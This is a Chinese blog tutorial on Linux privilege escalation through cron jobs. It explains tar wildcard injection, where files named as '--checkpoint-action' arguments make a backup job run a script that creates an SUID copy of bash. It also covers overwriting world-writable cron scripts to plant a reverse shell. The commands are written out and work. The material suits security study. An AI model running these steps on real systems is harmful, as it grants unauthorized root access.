Linux提权--定时任务--打包配合 SUID(本地)文件权限配置不当(WEB+本地)

embedded/2024/9/24 17:08:54/

免责声明:本文仅做技术交流与学习...

目录

定时任务 打包配合 SUID-本地

原理:

背景:

操作演示:

分析:

实战发现:

定时任务 文件权限配置不当-WEB&本地

操作演示:


定时任务 打包配合 SUID-本地

原理:

提权通过获取计划任务执行文件信息进行提权 .

1、相对路径和绝对路径执行

2、计划任务命令存在参数调用

利用计划任务的备份功能 tar 命令的参数利用 .

(大部分为本地提权)

背景:

定时任务-->
背景:
运维为了防止数据丢失等,写个定时任务进行数据的打包压缩.
由于数据打包压缩tar命令.
tar可以尝试加参数调用其他命令执行
cd /tmp;tar czf /tmp/backup.tar.gz*
来到tmp目录压缩成backup.tar.gz(当前所有)

--(网站和数据库经常进行备份,tar压缩---隔段时间进行打包.)

操作演示:

#tar--checkpoint=1调用其他命令执行
echo "" > --checkpoint=1  
echo "" > "--checkpoint-action=exec=sh test.sh"  
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > test.sh  
chmod +x test.sh 
#创建好文件之后把定时任务开起来.

---文件弄好之后,把定时任务开起来--->

--等待定时任务的运行(打包)

-->得到压缩文件和一个bash文件(test.sh没有运行.)

./bash 命令怎么执行呢??? 多加个 -p 参数.

./bash -p

分析:

实战发现:

查看定时任务有没有可利用(tar打包压缩).


定时任务 文件权限配置不当-WEB&本地

--就是权限配置不当,其他的低权限可以调用,执行等等.

利用不安全的权限分配操作导致的定时文件覆盖

chmod 777 775 等 所有者 组 其他成员说明

操作演示:

--定时任务里添加vim /etc/crontab111.sh < ps(或反弹命令)./111/sh  发现没权限执行 ---chmod +x后才可以.(因为需要权限啊,)

所以:

如果root用户给文件 777 的权限,那么其他用户和组都能动他了.

改完之后,(写个反弹命令)

--当文件被计划任务调用的时候就上线了.


http://www.ppmy.cn/embedded/41832.html

相关文章

【Shell脚本】Shell编程之数组

目录 一.数组 1.基本概念 2.定义数组的方法 2.1.方法一 2.2.方法二 2.3.方法三 2.4.方法四 2.5.查看数组长度 2.6.查看数组元素下标 3.数组分片 4.数组字符替换 4.1.临时替换 4.2.永久替换 5.数组删除 5.1.删除某个下标 5.2.删除整组 6.数组遍历和重新定义 7…

高斯分布应用;高斯分布和高斯核有什么;正态分布的具体应用举例说明

目录 高斯分布应用 高斯分布和高斯核有什么 正态分布的具体应用举例说明 高斯分布应用

「AIGC」Python实现tokens算法

本文主要介绍通过python实现tokens统计,避免重复调用openai等官方api,开源节流。 一、设计思路 初始化tokenizer使用tokenizer将文本转换为tokens计算token的数量二、业务场景 2.1 首次加载依赖 2.2 执行业务逻辑 三、核心代码 from transformers import AutoTokenizer imp…

Django model 联合约束和联合索引

联合约束和联合索引 在Django的模型中,我们可以通过联合约束和联合索引来对表的多个字段进行约束和索引。举例来说,比如在购物车表中,我们希望用户和商品两个字段的组合是唯一的,即同一个用户不能重复添加同一种商品到购物车里。 在Django模型中,我们可以这样定义购物车…

如何查看SNMP设备的OID

什么是OID和MIB OID OID 代表对象标识符。 OID 唯一地标识 MIB 层次结构中的托管对象。 这可以被描述为一棵树&#xff0c;其级别由不同的组织分配。MIB MIB&#xff08;管理信息基&#xff09;提供数字化OID到可读文本的映射。 使用MIB Browser扫描OID 我的设备是一台UPS SN…

构建安全的GenAI/LLMs核心技术解密之大模型对抗攻击(一)

LlaMA 3 系列博客 基于 LlaMA 3 + LangGraph 在windows本地部署大模型 (一) 基于 LlaMA 3 + LangGraph 在windows本地部署大模型 (二) 基于 LlaMA 3 + LangGraph 在windows本地部署大模型 (三) 基于 LlaMA 3 + LangGraph 在windows本地部署大模型 (四) 基于 LlaMA…

基于 LlaMA 3 + LangGraph 在windows本地部署大模型 (二)

基于 LlaMA 3 LangGraph 在windows本地部署大模型 &#xff08;二&#xff09; #Options local_llm llama3 llm ChatOllama(modellocal_llm, format"json", temperature0) #embeddings #embeddings OllamaEmbeddings(model"nomic-embed-text") embed…

LLama3大模型本地部署 仅需6步完成对话模型本地安装部署。附送可视化ui安装、自定义模型目录,修改模型保存地址,第三方微调模型、中文模型下载地址

本篇分为三部分 一&#xff1a;6步完成llama3大模型本地部署 二&#xff1a;8步完成llama3可视化对话界面安装 三&#xff1a;重设模型文件路径 四&#xff1a;微调模型、中文模型下载资源分享 一、LLama3 大模型本地部署安装 首先去mata官网下载ollama客户端 Ollama 选择合适…